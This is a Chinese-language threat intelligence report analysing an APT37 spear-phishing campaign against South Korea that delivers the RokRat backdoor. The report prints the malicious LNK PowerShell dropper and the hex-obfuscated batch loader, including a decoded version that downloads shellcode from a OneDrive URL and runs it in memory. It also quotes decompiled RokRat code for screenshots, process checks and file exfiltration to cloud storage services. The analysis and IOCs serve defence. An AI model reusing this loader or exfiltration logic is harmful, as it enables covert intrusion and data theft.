概述
瑞星威胁情报平台
捕获到一起针对韩国的攻击事件。攻击者通过邮件发送给受害者压缩包。压缩包解压之后是一个50M的快捷方式文件,当用户双击快捷方式后会执行PowerShell
命令,在Temp目录之下释放一个HWP文件和一个以固定日期命名的bat脚本文件,该脚本会启用PowerShell.exe
从api.onedrive.com
上下载RokRat
木马加载到内存中执行,据国内外多家安全厂商披露,该木马疑似是APT37
常用的攻击武器,通过将本次攻击行动感染链与APT37
组织过往感染链的对比分析,将本次捕获到的攻击行动归属于APT37
组织具有高可信度。
APT37
是朝鲜国家资助的网络间谍组织,该黑客组织也称为ScarCruft
,Reaper
,RedEye
、Ricochet
Chollima
。从2012年活跃开始,攻击目标主要是韩国的公共组织和私有企业。2017年,APT37
将攻击目标的范围扩大到日本、越南、中东等地的垂直行业,包括化学、电子、制造业、航空工业、汽车和医疗业。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 执行 |
T1204 用户执行 |
攻击者将初始文档伪装成快捷方式文件,以此诱骗用户执行 |
TA0002 执行 |
T1059 命令和脚本解释器 |
调用PowerShell执行命令和执行bat脚本 |
TA0003 持久化 |
T1547 启动或登录自动执行 |
创建注册表项实现开机自启 |
TA0005 防御规避 |
T1055 进程注入 |
把下载的ShellCode反射注入到PowerShell中执行 |
TA0007 环境发现 |
T1057 收集进程信息 |
遍历受害机上的进程,获取运行进程的信息 |
TA0007 环境发现 |
T1082 收集系统信息 |
获取系统的版本,用户名,机器名等信息 |
TA0007 环境发现 |
T1049 收集系统网络连接信息 |
获取受害机的网络连接信息 |
TA0007 环境发现 |
T1518 收集软件信息 |
检查360安全卫士的进程是否正在运行 |
TA0009 收集信息 |
T1113 屏幕截图 |
对受害机屏幕进行截图 |
TA0010 外传信息 |
T1567 通过公共Web服务外传 |
将收集到的数据发送到PCloud等云存储服务 |
TA0010 外传信息 |
T1041 通过C2通道外传 |
接收控制指令与上传数据共用同一条通道 |
TA0011 指挥与控制 |
T1071 应用层协议 |
使用HTTPS协议与服务器进行通信 |
攻击事件详情
第一份诱饵文档是以美国与韩国在四月下旬发表的《华盛顿宣言》为背景,韩国的Jeong Seongjang撰写的文章。
第二份诱饵文档是在首尔空军酒店举办会议的活动日历表,内容包括演讲的时间、顺序以及人员(韩国的重要官员和著名学者)。
攻击流程
样本分析
1. 初始文档:워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.LNK
字段 | 内容 |
---|---|
原始文件名 | 워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.LNK |
文件大小 | 50.79 MB |
文件MD5 | 445e7fd6bb684420d6b8523fe0c55228 |
文件类型 | lnk |
病毒名 | Trojan.PSRunner/LNK!1.BADE |
攻击者疑似通过电子邮件投递一个含有快捷方式的压缩包,该快捷方式大小有50MB,里面内置了PowerShell
命令,当用户双击快捷方式文件时,会执行PowerShell
命令,在Temp目录下释放诱饵文档워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.hwp
,同时释放一个名为230509.bat
的脚本。下面是PowerShell
代码:
$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files')
{
$dirPath = 'C:\Users\Admin\AppData\Local\Temp'
};
$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eq 0x00032CA73D} ^| Select-Object -ExpandProperty FullName;
$pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00062888 -ReadCount 00062888;
$pdfPath = 'C:\Users\Admin\AppData\Local\Temp\워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.hwp';
sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 004008)) -Encoding Byte; ^& $pdfPath;
$exeFile = gc $lnkpath -Encoding Byte -TotalCount 00066145 -ReadCount 00066145;
$exePath = 'C:\Users\Admin\AppData\Local\Temp\230509.bat';
sc $exePath ([byte[]]($exeFile ^| select -Skip 00062888)) -Encoding Byte; ^& $exePath;
2. bat脚本:230509.bat
字段 | 内容 |
---|---|
原始文件名 | 230509.bat |
文件大小 | 3.18 KB |
文件MD5 | 2e0b68286c2673b12406c98c4c13b739 |
文件类型 | bat |
脚本会从api.onedrive.com
上下载ShellCode
,使用GlobalAlloc
在PowerShell
进程中申请一段空间,将下载的数据与第一个字节进行异或操作,并将结果写入内存,然后创建一个线程执行ShellCode
。
脚本处理前:
start /min c:\\Windows\\SysWOW64\\cmd.exe /c powershell -windowstyle hidden -command "$pull ="
$saint="""5B4E65742E53657276696365506F696E744D616E616765725D3A3A536563757269747950726F746F636F6C3D5B456E756D5D3A3A546F4F626A65637428 5B4E65742E536563757269747950726F746F636F6C547970655D2C2033303732293B2461613D275B446C6C496D706F727428226B65726E656C33322E64 6C6C22295D7075626C6963207374617469632065787465726E20496E7450747220476C6F62616C416C6C6F632875696E7420622C75696E742063293B27 3B24623D4164642D54797065202D4D656D626572446566696E6974696F6E20246161202D4E616D6520224141412220202D50617373546872753B246162 6162203D20275B446C6C496D706F727428226B65726E656C33322E646C6C22295D7075626C6963207374617469632065787465726E20626F6F6C205669 727475616C50726F7465637428496E7450747220612C75696E7420622C75696E7420632C6F757420496E745074722064293B273B246161623D4164642D 54797065202D4D656D626572446566696E6974696F6E202461626162202D4E616D65202241414222202D50617373546872753B2463203D204E65772D4F 626A6563742053797374656D2E4E65742E576562436C69656E743B24643D2268747470733A2F2F6170692E6F6E6564726976652E636F6D2F76312E302F 7368617265732F75216148523063484D364C7938785A484A324C6D317A4C326B7663794642614668465745784B5530354E5546526D5457646F5A457875 646D397A645545786348635F5A54317363556F776557552F726F6F742F636F6E74656E74223B2462623D275B446C6C496D706F727428226B65726E656C 33322E646C6C22295D7075626C6963207374617469632065787465726E20496E745074722043726561746554687265616428496E7450747220612C7569 6E7420622C496E7450747220632C496E7450747220642C75696E7420652C496E745074722066293B273B246363633D4164642D54797065202D4D656D62 6572446566696E6974696F6E20246262202D4E616D65202242424222202D50617373546872753B246464643D275B446C6C496D706F727428226B65726E 656C33322E646C6C22295D7075626C6963207374617469632065787465726E20496E745074722057616974466F7253696E676C654F626A65637428496E 7450747220612C75696E742062293B273B246666663D4164642D54797065202D4D656D626572446566696E6974696F6E2024646464202D4E616D652022 44444422202D50617373546872753B24653D3131323B646F207B2020747279207B2024632E486561646572735B22757365722D6167656E74225D203D20 22636F6E6E6E656374696E672E2E2E223B24786D7077343D24632E446F776E6C6F616444617461282464293B247830203D2024623A3A476C6F62616C41 6C6C6F63283078303034302C2024786D7077342E4C656E6774682B3078313030293B246F6C64203D20303B246161623A3A5669727475616C50726F7465 6374282478302C2024786D7077342E4C656E6774682B30783130302C20307834302C205B7265665D246F6C64293B666F7220282468203D20313B246820 2D6C742024786D7077342E4C656E6774683B24682B2B29207B5B53797374656D2E52756E74696D652E496E7465726F7053657276696365732E4D617273 68616C5D3A3A577269746542797465282478302C2024682D312C202824786D7077345B24685D202D62786F722024786D7077345B305D2920293B7D3B74 72797B7468726F7720313B7D63617463687B2468616E646C653D246363633A3A43726561746554687265616428302C302C2478302C302C302C30293B24 6666663A3A57616974466F7253696E676C654F626A656374282468616E646C652C203530302A31303030293B7D3B24653D3232323B7D63617463687B736C6565702031313B24653D3131323B7D7D7768696C65282465202D657120313132293B""";
$moni="""""";
for($i=0;$i -le $saint.Length-2;$i=$i+2)
{
$POLL=$saint[$i]+$saint[$i+1];
$moni= $moni+[char]([convert]::toint16($POLL,16));
};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($moni));
";Invoke-Command -ScriptBlock ([Scriptblock]::Create($pull));while($true){};"
处理后:
$pull ="
$saint=[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072);
$aa='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b=Add-Type -MemberDefinition $aa -Name "AAA" -PassThru;
$abab = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru;$c = New-Object System.Net.WebClient;
$d="hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRmTWdoZExudm9zdUExcHc_ZT1scUoweWU/root/content";
$bb='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$ccc=Add-Type -MemberDefinition $bb -Name "BBB" -PassThru;$ddd='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fff=Add-Type -MemberDefinition $ddd -Name "DDD" -PassThru;$e=112;
do
{
try
{
$c.Headers["user-agent"] = "connnecting...";$xmpw4=$c.DownloadData($d);$x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);$old = 0;
$aab::VirtualProtect($x0, $xmpw4.Length+0x100, 0x40, [ref]$old);
for ($h = 1;$h -lt $xmpw4.Length;$h++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]) );
};
try
{
throw 1;
}
catch
{
$handle=$ccc::CreateThread(0,0,$x0,0,0,0);$fff::WaitForSingleObject($handle, 500*1000);
};
$e=222;
}
catch
{
sleep 11;$e=112;
}
}while($e -eq 112);
$moni="""""";
for($i=0;$i -le $saint.Length-2;$i=$i+2)
{
$POLL=$saint[$i]+$saint[$i+1];
$moni= $moni+[char]([convert]::toint16($POLL,16));
};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($moni));
";Invoke-Command -ScriptBlock ([Scriptblock]::Create($pull));while($true){};
3. RokRat木马
字段 | 内容 |
---|---|
文件大小 | 877.50 KB |
文件MD5 | 278184b974d5232934ebf3f9ca9be5c8 |
文件类型 | EXE |
病毒名 | Backdoor.[APT37]RokRAT!1.D113 |
备注 | 内存加载 |
3.1 获取信息
获取用户名,机器名,主板信息
memset(v50, 0, 0x11Cu);
ModuleHandleA = GetModuleHandleA("ntdll");
RtlGetVersion = GetProcAddress(ModuleHandleA, "RtlGetVersion");
if ( RtlGetVersion )
{
v50[0] = 284;
((void (__stdcall *)(int *))RtlGetVersion)(v50);
}
byte_4D1CE8 = 48;
byte_4D206A = 48;
sub_40BCFA((int)&unk_4D1CC8, (int)"%d.%d.%d", v50[1]);
byte_4D2120 = 48;
v10 = sub_40E5B1();
v11 = byte_4D1CE8;
nSize = 64;
if ( v10 )
v11 = 49;
byte_4D1CE8 = v11;
GetComputerNameW(&word_4D1CEA, &nSize);
nSize = 64;
GetUserNameW(&word_4D1D6A, &nSize);
GetModuleFileNameW(0, &Filename, 0xFFu);
// 主板信息
sub_40E707(byte_4D1FEA);
创建线程,对屏幕进行截图,保存在tmp
文件中。
memset(&v10[1], 0, 12);
v10[0] = 1;
GdiplusStartup(&v14, v10, 0);
GetTempPathW(0x12Cu, &Buffer);
SetProcessDPIAware();
SystemMetrics = GetSystemMetrics(0);
v1 = GetSystemMetrics(1);
cy = v1;
*(_DWORD *)(a1 + 4) = *(_DWORD *)a1;
v11 = 0;
v12 = 0;
v13 = 0;
CompatibleDC = CreateCompatibleDC(0);
v9 = SystemMetrics;
DC = GetDC(0);
CompatibleBitmap = CreateCompatibleBitmap(DC, v9, v1);
SelectObject(CompatibleDC, CompatibleBitmap);
v5 = GetDC(0);
BitBlt(CompatibleDC, 0, 0, SystemMetrics, cy, v5, 0, 0, 0xCC0020u);
v7 = sub_40DE36(v6, &v11);
DeleteObject(CompatibleBitmap);
LOBYTE(cy) = 0;
Src = v7;
sub_40DB36((int)&v11, v11, &Src, (unsigned int)&SystemMetrics, cy);
LOBYTE(cy) = 0;
sub_40E0B4(*(void **)(a1 + 4), v11, v12, cy);
sub_40C585((int)&v11);
GdiplusShutdown(v14);
return *(_DWORD *)(a1 + 4) - *(_DWORD *)a1;
把获取到的用户信息上传到hxxps://api.pcloud.com/listfolder?path=%s
,若此服务器访问不了,则会把信息上传到备用服务器cloudyandex
(hxxps://cloud-api.yandex.net/v1/disk/resources?path=%s&limit=500
)和
ropboxapi
(hxxps://api.dropboxapi.com/2/files/list_folder
)
v29 = &v20;
std::wstring::wstring(v30);
LOBYTE(v33) = 1;
v10 = Initilaize_dropboxapi_414C60(a2, a3, v20, v21, v22, (int)v23, v24, v25);
v29 = &v20;
std::wstring::wstring(v30);
LOBYTE(v33) = 1;
v10 = Initilaize_pcloud_414E30(a2, a3, v20, v21, v22, (int)v23, v24, v25);
v29 = &v20;
std::wstring::wstring(v30);
LOBYTE(v33) = 1;
v10 = Initliaize_cloudyandex_415000(a2, a3, v20, v21, v22, (int)v23, v24, v25);
获取进程列表的信息,查看是否有360Tray.exe
进程运行,如果有则不执行后续的代码
// 查看是否有360Tray.exe
while ( Process32NextW(Toolhelp32Snapshot, &pe) )
{
_wcsicmp(pe.szExeFile, L"360Tray.exe");
v12[0] = 0;
v4 = OpenProcess(0x410u, 0, pe.th32ProcessID);
if ( v4 && EnumProcessModules(v4, &v19, 4, v15) )
GetModuleFileNameExW(v4, v19, v12, 512);
sub_40BCCA((int)&v10, (int)v13, L"\r\n", pe.th32ProcessID, pe.szExeFile, v12, L"\r\n");
v5 = wcslen(lpBuffer);
v6 = &v10;
do
v7 = *v6++;
while ( v7 != (_WORD)v17 );
if ( (((char *)v6 - (char *)&v11) >> 1) + v5 > 0x10000 )
break;
wcscat(lpBuffer, &v10);
Toolhelp32Snapshot = v16;
}
3.2 执行从服务器获取的命令
指令d和f是执行清理痕迹脚本:清理注册表自启动的数据
reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v OfficeBootPower /f &
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v OfficeBootPower/
指令h会获取磁盘的信息,保存到tmp文件中(执行命令:dir /A /S %s >> \"%%temp%%/%c_.TMP\"
),然后把tmp文件上传到hxxps://api.pcloud.com/listfolder?path=%s
memset(Buffer, 0, 0x104u);
v0 = GetLogicalDriveStringsA(0x104u, Buffer) - 1;
if ( v0 <= 0x103 )
{
for ( i = Buffer; *i; i += strlen(i) + 1 )
{
DriveTypeA = GetDriveTypeA(i);
if ( DriveTypeA == 3 || DriveTypeA == 2 || DriveTypeA == 4 )
{
sub_40BCFA(v10, "dir /A /S %s >> \"%%temp%%/%c_.TMP\"", i);
v9 = v3;
std::string::string(v10);
sub_40C110(0, v9);
TempPathW = GetTempPathW(0x100u, FileName);
FileName[TempPathW] = *i;
FileName[TempPathW + 1] = 0;
v5 = &v11;
do
{
v6 = v5[1];
++v5;
}
while ( v6 );
*(_DWORD *)v5 = *(_DWORD *)L"_.TMP";
v7 = v5 + 2;
*v7 = *(_DWORD *)L"TMP";
v7[1] = *(_DWORD *)L"P";
sub_4112C6(FileName);
DeleteFileW(FileName);
}
}
}
指令c: 上传遍历的文件到hxxps://api.pcloud.com/listfolder?path=%s
(Normal
:上传文件后缀为.XLS .DOC .PPT .TXT .M4A .AMR .PDF .HWP
的文件;All
:上传指定文件夹内所有文件)
v46[0] = *(_DWORD *)L".XLS";
v46[1] = *(_DWORD *)L"LS";
LOWORD(v46[2]) = aXls[4];
v46[5] = *(_DWORD *)L".DOC";
v46[6] = *(_DWORD *)L"OC";
LOWORD(v46[7]) = aDoc[4];
v46[10] = *(_DWORD *)L".PPT";
v46[11] = *(_DWORD *)L"PT";
LOWORD(v46[12]) = aPpt[4];
v46[15] = *(_DWORD *)L".TXT";
v46[16] = *(_DWORD *)L"XT";
LOWORD(v46[17]) = aTxt[4];
v46[20] = *(_DWORD *)L".M4A";
v46[21] = *(_DWORD *)L"4A";
LOWORD(v46[22]) = aM4a[4];
v46[25] = *(_DWORD *)L".AMR";
v46[26] = *(_DWORD *)L"MR";
LOWORD(v46[27]) = aAmr[4];
v46[30] = *(_DWORD *)L".PDF";
v46[31] = *(_DWORD *)L"DF";
LOWORD(v46[32]) = aPdf[4];
v46[35] = *(_DWORD *)L".HWP";
v46[36] = *(_DWORD *)L"WP";
指令功能列表如下:
指令 | 功能 |
---|---|
b |
结束Rat |
d,f |
清理痕迹 |
h |
上传磁盘信息 |
1,2,5,6 |
从指定的Url下载数据 |
e |
使用cmd执行命令 |
c |
上传遍历的文件 |
49,50,51,52 |
获取进程列表信息,系统信息,用户信息,版本信息,主机信息,IP连接等信息保存到txt文件中 |
7,8,9 |
下载其他的payload |
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
445e7fd6bb684420d6b8523fe0c55228 2e0b68286c2673b12406c98c4c13b739 278184b974d5232934ebf3f9ca9be5c8
-
URL
hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRmTWdoZExudm9zdUExcHc_ZT1scUoweWU/root/content
-
瑞星病毒名
Backdoor.[APT37]RokRAT!1.D113